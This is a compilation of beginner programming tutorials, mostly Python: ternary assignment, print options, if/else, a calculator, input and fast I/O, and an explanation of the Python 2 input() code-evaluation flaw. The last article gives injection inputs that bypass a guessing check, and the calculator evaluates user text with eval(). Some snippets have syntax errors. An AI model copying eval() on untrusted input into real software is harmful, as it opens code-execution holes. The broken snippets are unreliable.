class GFG{
     
public static void Main(String []args)
{
     
    // Initialising variables directly
    int a = 5;
 
    // Printing value of a
    Console.Write("The value of a is: " + a);
}
}
  
// This code is contributed by shivanisinghss2110

Javascript




<script>
 
// JavaScript code to demonstrate variable assignment
// upon condition using Direct Initialisation Method
        // initialising variables directly
        var a = 5;
 
        // printing value of a
        document.write("The value of a is: " + a);
 
 
</script>
// this code is contributed by shivanisinghss2110
Output: 
The value of a is: 5

 

Method 2: Using Conditional Operator (?:)

This method is also called Ternary operators. So Basic Syntax of Conditional Operator is:-

                                                                         condition? True_value : False_Value

Using Conditional Operator, you can write one line code in python. The conditional operator works in a such way that first evaluates the condition, if  condition is true , first expression( True_value) will print else evaluates the second expression(False_Value).

Below is the syntax in other popular languages.

C++




// C++ code to demonstrate variable assignment
// upon condition using Conditional Operator
 
#include <bits/stdc++.h>
using namespace std;
 
int main()
{
    // initialising variables using Conditional Operator
    int a = 20 > 10 ? 1 : 0;
 
    // printing value of a
    cout << "The value of a is: " << a;
}

C




// C code to demonstrate variable assignment
// upon condition using Conditional Operator
 
#include <stdio.h>
 
int main()
{
    // initialising variables using Conditional Operator
    int a = 20 > 10 ? 1 : 0;
 
    // printing value of a
    printf("The value of a is: %d", a);
}

Java




// Java code to demonstrate variable assignment
// upon condition using Conditional Operator
 
import java.io.*;
 
class GFG {
    public static void main(String args[])
    {
 
        // initialising variables using Conditional Operator
        int a = 20 > 10 ? 1 : 0;
 
        // printing value of a
        System.out.println("The value of a is: " + a);
    }
}

Python3




# Python3 code to demonstrate variable assignment
# upon condition using Conditional Operator
 
# Initialising variables using Conditional Operator
a = 1 if 20 > 10 else 0
 
# Printing value of a
print("The value of a is: " , str(a))
 
# This code is contributed by shivanisinghss2110

C#




// C# code to demonstrate variable assignment
// upon condition using Conditional Operator
 
using System;
 
class GFG {
    public static void Main(String []args)
    {
 
        // initialising variables using Conditional Operator
        int a = 20 > 10 ? 1 : 0;
 
        // printing value of a
        Console.Write("The value of a is: " + a);
    }
}
// this code is contributed by shivanisinghss2110

Javascript




<script>
 
// JavaScript code to demonstrate variable assignment
// upon condition using Conditional Operator
 
        // initialising variables using Conditional Operator
        var a = 20 > 10 ? 1 : 0;
 
        // printing value of a
        document.write("The value of a is: " + a);
 
// This code is contributed by shivanisinghss2110
 
</script>
Output: 
The value of a is: 1

 

One liner if-else instead of Conditional Operator (?:) in Python

Python3




# Python 3 code to demonstrate variable assignment
# upon condition using One liner if-else
 
# initialising variable using Conditional Operator
# a = 20 > 10 ? 1 : 0 is not possible in Python
# Instead there is one liner if-else
a = 1 if 20 > 10 else 0
 
# printing value of a
print ("The value of a is: " + str(a))
Output: 
The value of a is: 1

 


My Personal Notes arrow_drop_up

How to print without newline in Python?

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 09 Aug, 2021

Generally, people switching from C/C++ to Python wonder how to print two or more variables or statements without going into a new line in python. Since the python print() function by default ends with a newline. Python has a predefined format if you use print(a_variable) then it will go to the next line automatically. 
 

For example: 

Python3




print("geeks")
print("geeksforgeeks")

Will result in this: 

geeks
geeksforgeeks

But sometimes it may happen that we don’t want to go to the next line but want to print on the same line. So what we can do? 
 

For Example: 

Input : print("geeks") print("geeksforgeeks")
Output : geeks geeksforgeeks

Input : a = [1, 2, 3, 4]
Output : 1 2 3 4 

The solution discussed here is totally dependent on the python version you are using. 
 

Print without newline in Python 2.x

python




# Python 2 code for printing
# on the same line printing
# geeks and geeksforgeeks
# in the same line
 
print("geeks"),
print("geeksforgeeks")
 
# array
a = [1, 2, 3, 4]
 
# printing a element in same
# line
for i in range(4):
    print(a[i]),

Output: 

geeks geeksforgeeks
1 2 3 4

Print without newline in Python 3.x

python3




# Python 3 code for printing
# on the same line printing
# geeks and geeksforgeeks
# in the same line
 
print("geeks", end =" ")
print("geeksforgeeks")
 
# array
a = [1, 2, 3, 4]
 
# printing a element in same
# line
for i in range(4):
    print(a[i], end =" ")

Output: 

geeks geeksforgeeks
1 2 3 4

Print without newline in Python 3.x without using for loop

Python3




# Print without newline in Python 3.x without using for loop
 
l=[1,2,3,4,5,6]
 
# using * symbol prints the list
# elements in a single line
print(*l)
 
#This code is contributed by anuragsingh1022

Output:

1 2 3 4 5 6

My Personal Notes arrow_drop_up

Python if else

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 30 Sep, 2021

There comes situations in real life when we need to make some decisions and based on these decisions, we decide what should we do next. Similar situations arise in programming also where we need to make some decisions and based on these decisions we will execute the next block of code. Decision-making statements in programming languages decide the direction of the flow of program execution. 

In Python, if else elif statement is used for decision making.

if statement

if statement is the most simple decision-making statement. It is used to decide whether a certain statement or block of statements will be executed or not i.e if a certain condition is true then a block of statement is executed otherwise not.

Syntax

if condition:
   # Statements to execute if
   # condition is true

Here, the condition after evaluation will be either true or false. if statement accepts boolean values – if the value is true then it will execute the block of statements below it otherwise not. We can use condition with bracket ‘(‘ ‘)’ also. 

As we know, python uses indentation to identify a block. So the block under an if statement will be identified as shown in the below example:  

if condition:
   statement1
statement2

# Here if the condition is true, if block 
# will consider only statement1 to be inside 
# its block.

Flowchart of Python if statement

if-statement-in-python

Example: Python if Statement

Python3




# python program to illustrate If statement
 
i = 10
 
if (i > 15):
    print("10 is less than 15")
print("I am Not in if")

Output: 

I am Not in if

As the condition present in the if statement is false. So, the block below the if statement is not executed.

if-else

The if statement alone tells us that if a condition is true it will execute a block of statements and if the condition is false it won’t. But what if we want to do something else if the condition is false. Here comes the else statement. We can use the else statement with if statement to execute a block of code when the condition is false. 

Syntax

if (condition):
    # Executes this block if
    # condition is true
else:
    # Executes this block if
    # condition is false

FlowChart of Python if else statement

if-else-statement in python

Example 1: Python if else statement

Python3




# python program to illustrate If else statement
#!/usr/bin/python
 
i = 20
if (i < 15):
    print("i is smaller than 15")
    print("i'm in if Block")
else:
    print("i is greater than 15")
    print("i'm in else Block")
print("i'm not in if and not in else Block")

Output: 

i is greater than 15
i'm in else Block
i'm not in if and not in else Block

The block of code following the else statement is executed as the condition present in the if statement is false after calling the statement which is not in block(without spaces).

Example 2: Python if else in list comprehension

Python3




# Explicit function
def digitSum(n):
    dsum = 0
    for ele in str(n):
        dsum += int(ele)
    return dsum
 
 
# Initializing list
List = [367, 111, 562, 945, 6726, 873]
 
# Using the function on odd elements of the list
newList = [digitSum(i) for i in List if i & 1]
 
# Displaying new list
print(newList)
Output
[16, 3, 18, 18]

nested-if

A nested if is an if statement that is the target of another if statement. Nested if statements mean an if statement inside another if statement. Yes, Python allows us to nest if statements within if statements. i.e, we can place an if statement inside another if statement.

Syntax

if (condition1):
   # Executes when condition1 is true
   if (condition2): 
      # Executes when condition2 is true
   # if Block is end here
# if Block is end here

Flowchart of Python Nested if Statement

Nested_if

Example: Python Nested if

Python3




# python program to illustrate nested If statement
#!/usr/bin/python
i = 10
if (i == 10):
   
    #  First if statement
    if (i < 15):
        print("i is smaller than 15")
         
    # Nested - if statement
    # Will only be executed if statement above
    # it is true
    if (i < 12):
        print("i is smaller than 12 too")
    else:
        print("i is greater than 15")

Output: 
 

i is smaller than 15
i is smaller than 12 too

if-elif-else ladder

Here, a user can decide among multiple options. The if statements are executed from the top down. As soon as one of the conditions controlling the if is true, the statement associated with that if is executed, and the rest of the ladder is bypassed. If none of the conditions is true, then the final else statement will be executed.

Syntax

if (condition):
    statement
elif (condition):
    statement
.
.
else:
    statement

FlowChart of Python if else elif statements 

if-else-if-ladder in python

Example: Python if else elif statements

Python3




# Python program to illustrate if-elif-else ladder
#!/usr/bin/python
 
i = 20
if (i == 10):
    print("i is 10")
elif (i == 15):
    print("i is 15")
elif (i == 20):
    print("i is 20")
else:
    print("i is not present")

Output: 
 

i is 20

Short Hand if statement

Whenever there is only a single statement to be executed inside the if block then shorthand if can be used. The statement can be put on the same line as the if statement. 

Syntax: 

if condition: statement

Example: Python if shorthand

Python3




# Python program to illustrate short hand if
i = 10
if i < 15:
    print("i is less than 15")

Output:

i is less than 15

Short Hand if-else statement

This can be used to write the if-else statements in a single line where there is only one statement to be executed in both if and else block. 

Syntax:

statement_when_True if condition else statement_when_False

Example: Python if else shorthand 

Python3




# Python program to illustrate short hand if-else
i = 10
print(True) if i < 15 else print(False)

Output: 

True

My Personal Notes arrow_drop_up

Basic calculator program using Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 16 May, 2022

Here we will be making a simple calculator in which we can perform basic arithmetic operations like addition, subtraction, multiplication, or division.

Example 1) GUI of a Calculator Which will help to add, subtract , Multiply and divide

Python




# pip install tkinter
import tkinter as tk
import tkinter.messagebox
from tkinter.constants import SUNKEN
 
window = tk.Tk()
window.title('Claculator-GeeksForGeeks')
frame = tk.Frame(master=window, bg="skyblue", padx=10)
frame.pack()
entry = tk.Entry(master=frame, relief=SUNKEN, borderwidth=3, width=30)
entry.grid(row=0, column=0, columnspan=3, ipady=2, pady=2)
 
 
def myclick(number):
    entry.insert(tk.END, number)
 
 
def equal():
    try:
        y = str(eval(entry.get()))
        entry.delete(0, tk.END)
        entry.insert(0, y)
    except:
        tkinter.messagebox.showinfo("Error", "Syntax Error")
 
 
def clear():
    entry.delete(0, tk.END)
 
 
button_1 = tk.Button(master=frame, text='1', padx=15,
                     pady=5, width=3, command=lambda: myclick(1))
button_1.grid(row=1, column=0, pady=2)
button_2 = tk.Button(master=frame, text='2', padx=15,
                     pady=5, width=3, command=lambda: myclick(2))
button_2.grid(row=1, column=1, pady=2)
button_3 = tk.Button(master=frame, text='3', padx=15,
                     pady=5, width=3, command=lambda: myclick(3))
button_3.grid(row=1, column=2, pady=2)
button_4 = tk.Button(master=frame, text='4', padx=15,
                     pady=5, width=3, command=lambda: myclick(4))
button_4.grid(row=2, column=0, pady=2)
button_5 = tk.Button(master=frame, text='5', padx=15,
                     pady=5, width=3, command=lambda: myclick(5))
button_5.grid(row=2, column=1, pady=2)
button_6 = tk.Button(master=frame, text='6', padx=15,
                     pady=5, width=3, command=lambda: myclick(6))
button_6.grid(row=2, column=2, pady=2)
button_7 = tk.Button(master=frame, text='7', padx=15,
                     pady=5, width=3, command=lambda: myclick(7))
button_7.grid(row=3, column=0, pady=2)
button_8 = tk.Button(master=frame, text='8', padx=15,
                     pady=5, width=3, command=lambda: myclick(8))
button_8.grid(row=3, column=1, pady=2)
button_9 = tk.Button(master=frame, text='9', padx=15,
                     pady=5, width=3, command=lambda: myclick(9))
button_9.grid(row=3, column=2, pady=2)
button_0 = tk.Button(master=frame, text='0', padx=15,
                     pady=5, width=3, command=lambda: myclick(0))
button_0.grid(row=4, column=1, pady=2)
 
button_add = tk.Button(master=frame, text="+", padx=15,
                       pady=5, width=3, command=lambda: myclick('+'))
button_add.grid(row=5, column=0, pady=2)
 
button_subtract = tk.Button(
    master=frame, text="-", padx=15, pady=5, width=3, command=lambda: myclick('-'))
button_subtract.grid(row=5, column=1, pady=2)
 
button_multiply = tk.Button(
    master=frame, text="*", padx=15, pady=5, width=3, command=lambda: myclick('*'))
button_multiply.grid(row=5, column=2, pady=2)
 
button_div = tk.Button(master=frame, text="/", padx=15,
                       pady=5, width=3, command=lambda: myclick('/'))
button_div.grid(row=6, column=0, pady=2)
 
button_clear = tk.Button(master=frame, text="clear",
                         padx=15, pady=5, width=12, command=clear)
button_clear.grid(row=6, column=1, columnspan=2, pady=2)
 
button_equal = tk.Button(master=frame, text="=", padx=15,
                         pady=5, width=9, command=equal)
button_equal.grid(row=7, column=0, columnspan=3, pady=2)
 
window.mainloop()

Output:

 

 

Example 2: Create a simple calculator which can perform basic arithmetic operations like addition, subtraction, multiplication, or division depending upon the user input. Approach :

Please select operation -
1. Add
2. Subtract
3. Multiply
4. Divide
Select operations form 1, 2, 3, 4 : 1
Enter first number : 20
Enter second number : 13
20 + 13 = 33

Python




# Python program for simple calculator
 
# Function to add two numbers
def add(num1, num2):
    return num1 + num2
 
# Function to subtract two numbers
def subtract(num1, num2):
    return num1 - num2
 
# Function to multiply two numbers
def multiply(num1, num2):
    return num1 * num2
 
# Function to divide two numbers
def divide(num1, num2):
    return num1 / num2
 
print("Please select operation -\n" \
        "1. Add\n" \
        "2. Subtract\n" \
        "3. Multiply\n" \
        "4. Divide\n")
 
 
# Take input from the user
select = int(input("Select operations form 1, 2, 3, 4 :"))
 
number_1 = int(input("Enter first number: "))
number_2 = int(input("Enter second number: "))
 
if select == 1:
    print(number_1, "+", number_2, "=",
                    add(number_1, number_2))
 
elif select == 2:
    print(number_1, "-", number_2, "=",
                    subtract(number_1, number_2))
 
elif select == 3:
    print(number_1, "*", number_2, "=",
                    multiply(number_1, number_2))
 
elif select == 4:
    print(number_1, "/", number_2, "=",
                    divide(number_1, number_2))
else:
    print("Invalid input")

Output:

Please select operation -
1. Add
2. Subtract
3. Multiply
4. Divide
Select operations form 1, 2, 3, 4 : 1
Enter first number : 15
Enter second number : 14
15 + 14 = 29

My Personal Notes arrow_drop_up

Python Language advantages and applications

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 30 Jun, 2021

Python is a high-level, interpreted, and general-purpose dynamic programming language that focuses on code readability. It has fewer steps when compared to Java and C. It was founded in 1991 by developer Guido Van Rossum. Python ranks among the most popular and fastest-growing languages in the world. Python is a powerful, flexible, and easy-to-use language. In addition, the community is very active there. It is used in many organizations as it supports multiple programming paradigms. It also performs automatic memory management.
 

Advantages : 

  1. Presence of third-party modules 
  2. Extensive support libraries(NumPy for numerical calculations, Pandas for data analytics etc) 
  3. Open source and community development 
  4. Versatile, Easy to read, learn and write
  5. User-friendly data structures 
  6. High-level language 
  7. Dynamically typed language(No need to mention data type based on the value assigned, it takes data type) 
  8. Object-oriented language 
  9. Portable and Interactive
  10. Ideal for prototypes – provide more functionality with less coding
  11. Highly Efficient(Python’s clean object-oriented design provides enhanced process control, and the language is equipped with excellent text processing and integration capabilities, as well as its own unit testing framework, which makes it more efficient.)
  12. (IoT)Internet of Things Opportunities
  13. Interpreted Language
  14. Portable across Operating systems 

 

Applications : 

  1. GUI based desktop applications
  2. Graphic design, image processing applications, Games, and Scientific/ computational Applications
  3. Web frameworks and applications 
  4.  Enterprise and Business applications 
  5.  Operating Systems 
  6. Education
  7. Database Access
  8. Language Development 
  9.  Prototyping 
  10. Software Development
     

Organizations using Python : 

  1. Google(Components of Google spider and Search Engine) 
  2. Yahoo(Maps) 
  3. YouTube 
  4. Mozilla 
  5. Dropbox 
  6. Microsoft 
  7. Cisco 
  8. Spotify 
  9. Quora 

     

My Personal Notes arrow_drop_up

Taking input in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 12 May, 2022

Developers often have a need to interact with users, either to get data or to provide some sort of result. Most programs today use a dialog box as a way of asking the user to provide some type of input. While Python provides us with two inbuilt functions to read the input from the keyboard. 
 

Python-Foundation-Course

input ( ) : This function first takes the input from the user and convert it into string. Type of the returned object always will be <type ‘str’>. It does not evaluate the expression it just return the complete statement as String. For example – 
 

Python3




# Python program showing 
# a use of input()
  
val = input("Enter your value: ")
print(val)

Output: 
 

  
How the input function works in Python : 
 

Code: 
 

Python3




# Program to check input 
# type in Python
  
num = input ("Enter number :")
print(num)
name1 = input("Enter name : ")
print(name1)
  
# Printing type of input value
print ("type of number", type(num))
print ("type of name", type(name1))

Output : 
 

raw_input ( ) : This function works in older version (like Python 2.x). This function takes exactly what is typed from the keyboard, convert it to string and then return it to the variable in which we want to store. For example – 
 

Python




# Python program showing 
# a use of raw_input()
  
g = raw_input("Enter your name : ")
print g

Output : 
 

Here, g is a variable which will get the string value, typed by user during the execution of program. Typing of data for the raw_input() function is terminated by enter key. We can use raw_input() to enter numeric data also. In that case we use typecasting.For more details on typecasting refer this
 
Refer to the article Taking list as input from the user for more information. 
 


My Personal Notes arrow_drop_up

Input and Output

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 13 May, 2022

What is Console in Python? Console (also called Shell) is basically a command line interpreter that takes input from the user i.e one command at a time and interprets it. If it is error free then it runs the command and gives required output otherwise shows the error message. A Python Console looks like this.

Here we write command and to execute the command just press enter key and your command will be interpreted.
For coding in Python you must know the basics of the console used in Python.

The primary prompt of the python console is the three greater than symbols

>>>

You are free to write the next command on the shell only when after executing the first command these prompts have appeared. The Python Console accepts command in Python which you write after the prompt.

Accepting Input from Console
User enters the values in the Console and that value is then used in the program as it was required.
To take input from the user we make use of a built-in function input().




# input
input1 = input()
  
# output
print(input1)

We can also type cast this input to integer, float or string by specifying the input() function inside the type.

  1. Typecasting the input to Integer: There might be conditions when you might require integer input from user/Console, the following code takes two input(integer/float) from console and typecasts them to integer then prints the sum.




    # input
    num1 = int(input())
    num2 = int(input())
      
    # printing the sum in integer
    print(num1 + num2)
  2. Typecasting the input to Float: To convert the input to float the following code will work out.




    # input
    num1 = float(input())
    num2 = float(input())
      
    # printing the sum in float
    print(num1 + num2)
  3. Typecasting the input to String: All kind of input can be converted to string type whether they are float or integer. We make use of keyword str for typecasting.




    # input
    string = str(input())
      
    # output
    print(string)

How to Input Multiple Values From User In One Line

For instance, in C we can do something like this:




// Reads two values in one line
scanf("%d %d", &x, &y) 

One solution is to use raw_input() two times.




x, y = input(),  input()

Another solution is to use split()




x, y = input().split()

Note that we don’t have to explicitly specify split(‘ ‘) because split() uses any whitespace characters as a delimiter as default.

One thing to note in the above Python code is, both x and y would be of string. We can convert them to int using another line

x, y = [int(x), int(y)]

# We can also use  list comprehension
x, y = [int(x) for x in [x, y]]

Below is complete one line code to read two integer variables from standard input using split and list comprehension




# Reads two numbers from input and typecasts them to int using 
# list comprehension
x, y = [int(x) for x in input().split()]  




# Reads two numbers from input and typecasts them to int using 
# map function
x, y = map(int, input().split())

END Parameter
By default python’s print() function ends with a newline. A programmer with C/C++ background may wonder how to print without newline.

Python’s print() function comes with a parameter called ‘end’. By default, the value of this parameter is ‘\n’, i.e. the new line character. You can end a print statement with any character/string using this parameter.




# This Python program must be run with
# Python 3 as it won't work with 2.7.
  
# ends the output with a <space> 
print("Welcome to" , end = ' '
print("GeeksforGeeks", end = ' ')

Output :

Welcome to GeeksforGeeks

One more program to demonstrate working of end parameter.




# This Python program must be run with
# Python 3 as it won't work with 2.7.
  
# ends the output with '@'
print("Python" , end = '@'
print("GeeksforGeeks")

Output :

Python@GeeksforGeeks

My Personal Notes arrow_drop_up

Taking multiple inputs from user in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 12 May, 2022

The developer often wants a user to enter multiple values or inputs in one line. In C++/C user can take multiple inputs in one line using scanf but in Python user can take multiple values or inputs in one line by two methods. 

Python-Foundation-Course

Using split() method : 
This function helps in getting multiple inputs from users. It breaks the given input by the specified separator. If a separator is not provided then any white space is a separator. Generally, users use a split() method to split a Python string but one can use it in taking multiple inputs.

Syntax : 

input().split(separator, maxsplit)

Example : 

Python3




# Python program showing how to
# multiple input using split
  
# taking two inputs at a time
x, y = input("Enter two values: ").split()
print("Number of boys: ", x)
print("Number of girls: ", y)
print()
  
# taking three inputs at a time
x, y, z = input("Enter three values: ").split()
print("Total number of students: ", x)
print("Number of boys is : ", y)
print("Number of girls is : ", z)
print()
  
# taking two inputs at a time
a, b = input("Enter two values: ").split()
print("First number is {} and second number is {}".format(a, b))
print()
  
# taking multiple inputs at a time 
# and type casting using list() function
x = list(map(int, input("Enter multiple values: ").split()))
print("List of students: ", x)

Output: 
 

Using List comprehension : 
List comprehension is an elegant way to define and create list in Python. We can create lists just like mathematical statements in one line only. It is also used in getting multiple inputs from a user. 

Example: 

Python3




# Python program showing
# how to take multiple input
# using List comprehension
  
# taking two input at a time
x, y = [int(x) for x in input("Enter two values: ").split()]
print("First Number is: ", x)
print("Second Number is: ", y)
print()
  
# taking three input at a time
x, y, z = [int(x) for x in input("Enter three values: ").split()]
print("First Number is: ", x)
print("Second Number is: ", y)
print("Third Number is: ", z)
print()
  
# taking two inputs at a time
x, y = [int(x) for x in input("Enter two values: ").split()]
print("First number is {} and second number is {}".format(x, y))
print()
  
# taking multiple inputs at a time 
x = [int(x) for x in input("Enter multiple values: ").split()]
print("Number of list is: ", x) 

Output : 
 

Note: The above examples take input separated by spaces. In case we wish to take input separated by comma (, ), we can use the following: 

Python3




# taking multiple inputs at a time separated by comma
x = [int(x) for x in input("Enter multiple value: ").split(",")]
print("Number of list is: ", x) 

Please see https://ide.geeksforgeeks.org/BHf0Cxr4mx for a sample run.
 


My Personal Notes arrow_drop_up

Python Input Methods for Competitive Programming

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 28 Jan, 2022

Python is an amazingly user-friendly language with the only flaw of being slow. In comparison to C, C++, and Java, it is quite slower. Online coding platforms, if C/C++ limit provided is X. Usually, in Java time provided is 2X and Python, it’s 5X.
To improve the speed of code execution for input/output intensive problems, languages have various input and output procedures.
 

An Example Problem : 
Consider a question of finding the sum of N numbers inputted from the user. 
Input a number N
Input N numbers are separated by a single space in a line. 
 

Examples: 

Input : 
5
1 2 3 4 5
Output :
15

Different Python solutions for the above Problem : 

Normal Method Python: (Python 2.7) 
1. raw_input() takes an optional prompt argument. It also strips the trailing newline character from the string it returns. 
2. print is just a thin wrapper that formats the inputs (space between args and newline at the end) and calls the write function of a given object. 
 

Python3




# basic method of input output
# input N
n = int(input())
 
# input the array
arr = [int(x) for x in input().split()]
 
# initialize variable
summation = 0
 
# calculate sum
for x in arr:
    summation += x
     
# print answer
print(summation)

A bit faster method using inbuilt stdin, stdout: (Python 2.7) 
1. sys.stdin on the other hand is a File Object. It is like creating any other file object one could create to read input from the file. In this case, the file will be a standard input buffer. 
2. stdout.write(‘D\n’) is faster than print ‘D’
3. Even faster is to write all once by stdout.write(“”.join(list-comprehension)) but this makes memory usage dependent on the size of the input. 
 

Python3




# import inbuilt standard input output
from sys import stdin, stdout
 
# suppose a function called main() and
# all the operations are performed
def main():
 
    # input via readline method
    n = stdin.readline()
 
    # array input similar method
    arr = [int(x) for x in stdin.readline().split()]
 
    #initialize variable
    summation = 0
     
    # calculate sum
    for x in arr:
        summation += x
 
    # could use inbuilt summation = sum(arr)
 
    # print answer via write
    # write method writes only
    # string operations
    # so we need to convert any
    # data into string for input
    stdout.write(str(summation))
 
# call the main method
if __name__ == "__main__":
    main()   

The difference in time: 
 

Timing summary (100k lines each) 
——————————– 
Print : 6.040 s 
Write to file : 0.122 s 
Print with Stdout : 0.121 s

As we have seen till now that taking input from the standard system and giving output to the standard system is always a good idea to improve the efficiency of the code which is always a need in Competitive programming. But wait! would you like to write these long lines every time when you need them? Then, what’s the benefit of using Python. 
Let’s discuss the solution to this problem. What we can do is let’s create separate functions for taking inputs of various types and just call them whenever you need them. 
 

When you want to take input of particular integers of integers given in a single line

Suppose the input is of the following form 
 

5 7 19 20

and we want separate variables to reference them. what we want is: 
 

a = 5
b = 7
c = 19
d = 20

so, we can create a function named as get_ints() as follows: 
 

Python3




import sys
def get_ints(): return map(int, sys.stdin.readline().strip().split())
 
a,b,c,d = get_ints()

Now you don’t have to write this line again and again. You just have to call the get_ints() function in order to take input in this form. In the function get_ints we are using the map function.

When you want to take input of list of integers given in a single line

Suppose the input is of the following form
 

1 2 3 4 5 6 7 8

and we want that a single variable will hold the whole list of integers. What we want is : 
 

Arr = [1, 2, 3, 4, 5, 6, 7, 8]

So, here we will create a function named get_list() as follows: 
 

Python3




import sys
def get_ints(): return list(map(int, sys.stdin.readline().strip().split()))
 
Arr = get_ints()

Now you don’t have to write this line again and again. You just have to call the get_ints() function in order to take input in this form
 

When you want to take input of string

Suppose the input is of the following form 
 

GeeksforGeeks is the best platform to practice Coding.

and we want that a single reference variable will hold this string. What we want is : 
 

string = "GeeksforGeeks if the best platform to practice coding."

So, here we will create a function named get_string() as follows: 

Python3




import sys
def get_string(): return sys.stdin.readline().strip()
 
string = get_string()

Now you don’t have to write this line again and again. You just have to call the get_string() function in order to take input in this form
Adding a buffered pipe io: (Python 2.7) 
1. Simply, adding the buffered IO code before your submission code to make the output faster. 
2. The benefit of io.BytesIO objects is that they implement a common interface (commonly known as a ‘file-like’ object). BytesIO objects have an internal pointer and for every call to read(n) the pointer advances. 
3. The atexit module provides a simple interface to register functions to be called when a program closes down normally. The sys module also provides a hook, sys.exitfunc, but only one function can be registered there. The atexit registry can be used by multiple modules and libraries simultaneously. 
 

Python3




# template begins
#####################################
 
# import libraries for input/ output handling
# on generic level
import atexit, io, sys
 
# A stream implementation using an in-memory bytes
# buffer. It inherits BufferedIOBase.
buffer = io.BytesIO()
sys.stdout = buffer
 
# print via here
@atexit.register
def write():
    sys.stdout.write(buffer.getvalue())
 
#####################################
# template ends
 
# normal method followed
# input N
n = int(input())
 
# input the array
arr = [int(x) for x in input().split()]
 
# initialize variable
summation = 0
 
# calculate sum
for x in arr:
    summation += x
 
# print answer
print(summation)

While handling a large amount of data usually, the normal method fails to execute within the time limit. Method 2 helps in maintaining a large amount of I/O data. Method 3 is the fastest. Usually, handling of input data files greater than 2 or 3 MBs is helped via methods 2 and 3.
Note: above mention codes are in Python 2.7, to use in Python 3.X versions. Simply replace the raw_input() with Python 3.X’s input() syntax. Rest should work fine.
References: 
1.More About Input in Python 2.7 
2.Output via sys library and other commands. 
3.Input via sys library and other commands. 
4. Python atexit Module docs.
This article is contributed by Shubham Saxena. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

Vulnerability in input() function – Python 2.x

Improve Article
Save Article
Like Article

This article aims at explaining and exploring the vulnerability in the input() function in Python 2.x. In Python 3, the raw_input() function was erased, and its functionality was transferred to a new built-in function known as input().

Different Ways to input data in Python 2.x

There are two common methods to receive input in Python 2.x:

  1. Using the input() function: This function takes the value and type of the input you enter as it is without modifying any type.
  2. Using the raw_input() function: This function explicitly converts the input you give to type string,

Let us use the following program to determine the difference between the two: 

Python




# Python 2.x program to show differences between
# input() and rawinput()function
 
# 3 inputs using raw_input() function,
# after which data type of the value
# entered is displayed
s1 = raw_input("Enter input to test raw_input() function: ")
print type(s1)
 
s2 = raw_input("Enter input to test raw_input() function: ")
print type(s2)
 
s3 = raw_input("Enter input to test raw_input() function: ")
print type(s3)
 
# 3 inputs using input() function,
# after which data type of the value
# entered is displayed
s4 = input("Enter input to test input() function: ")
print type(s4)
 
s5 = input("Enter input to test input() function: ")
print type(s5)
 
s6 = input("Enter input to test input() function: ")
print type(s6)

Input:

Hello
456
[1,2,3]
45
"goodbye"
[1,2,3]

Output:

Enter input to test raw_input() function: <type 'str'>
Enter input to test raw_input() function: <type 'str'>
Enter input to test raw_input() function: <type 'str'>

Enter input to test input() function: <type 'int'>
Enter input totest input() function: <type 'str'>
Enter input to test input() function: <type 'list'>

Note: While giving string input in the input() function, we have to enclose to value in double-quotes. This is not required in raw_input()

Vulnerability in input() method

The vulnerability in input() method lies in the fact that the variable accessing the value of input can be accessed by anyone just by using the name of the variable or method. Let us explore this one by one:

Variable name as input parameter: 

The variable having the value of input variable is able to access the value of the input variable directly. 

Python




# Python 2.x program to show Vulnerabilities
# in input() function using a variable
 
import random
secret_number = random.randint(1,500)
print "Pick a number between 1 to 500"
while True:
    res = input("Guess the number: ")
    if res==secret_number:
        print "You win"
        break
    else:
        print "You lose"
        continue

Python3




# Python 3  to demonstrate difference in input() function
 
import random
secret_number = random.randint(1,500)
print ("Pick a number between 1 to 500")
while True:
    res = input("Guess the number: ")
    if res==secret_number:
        print ("You win")
        break
    else:
        print ("You lose")
        continue

Input:

15

Output:

Pick a number between 1 to 500
Guess the number: You lose
Guess the number: 

Input:

secret_number

Output:

Pick a number between 1 to 500
Guess the number: You win

As it can be seen, in the second case the variable “secret_number” can be directly given as input and the answer is always “You won”. It evaluates the variable as if a number was directly entered, which means it returns a True Boolean always. Using raw_input, would not be possible as it disallows reading the variable directly.

Python 3 shows different results. If  “secret_number” is given as input,  answer is ‘You lose’.

Function name as parameter: 

The vulnerability lies here as we can even provide the name of a function as input and access values that are otherwise not meant to be accessed. 

Python




# Python 2.x program to demonstrate input() function
# vulnerability by passing function name as parameter
secret_value = 500
 
# function that returns the secret value
def secretfunction():
    return secret_value
 
# using raw_input() to enter the number
input1 = raw_input("Raw_input(): Guess secret number: ")
 
# input1 will be explicitly converted to a string
if input1 == secret_value:
    print "You guessed correct"
else:
    print "wrong answer"
     
# using input() to enter the number
input2 = input("Input(): Guess the secret number: ")
 
#input2 is evaluated as it is entered
if input2 == secret_value:
    print "You guessed correct"
else:
    print "wrong answer"

Input:

400
secretfunction()

Output:

Raw_input(): Guess secret number: wrong answer
Input(): Guess the secret number: You guessed correct

In this set of input/output, we can see that when we use raw_input, we necessarily have to input the correct number. However while using the input() function, we can even provide the name of a function or variable, and the interpreter will evaluate that. Here for example, the input for input() function has been given as the name of a function ‘secretfunction()’. The interpreter evaluates this function call and returns the secret number that we wish to find and hence our if the condition evaluates to be true, even though we did not enter the secret number Input:

secretfunction()
secret_value

Output:

Raw_input(): Guess secret number: wrong answer
Input(): Guess the secret number: You guessed correct

As explained in the first point, in this example also we were able to simply enter the variable name ‘secret_number’ in the input for ‘input()’ function and we were able to gain access to the secret value. However, while trying to call secretfunction() in the input for the raw_input() function, it gives us false as the interpreter converts our argument to a string, and doesn’t evaluate it as a function call.

Preventing input vulnerabilities

It is always better to use raw_input() in python 2.x and then explicitly convert the input to whatever type we require. For example, if we wish to take the input of an integer, we can do the following

n = int(raw_input())

This prevents the malicious calling or evaluation of functions. 

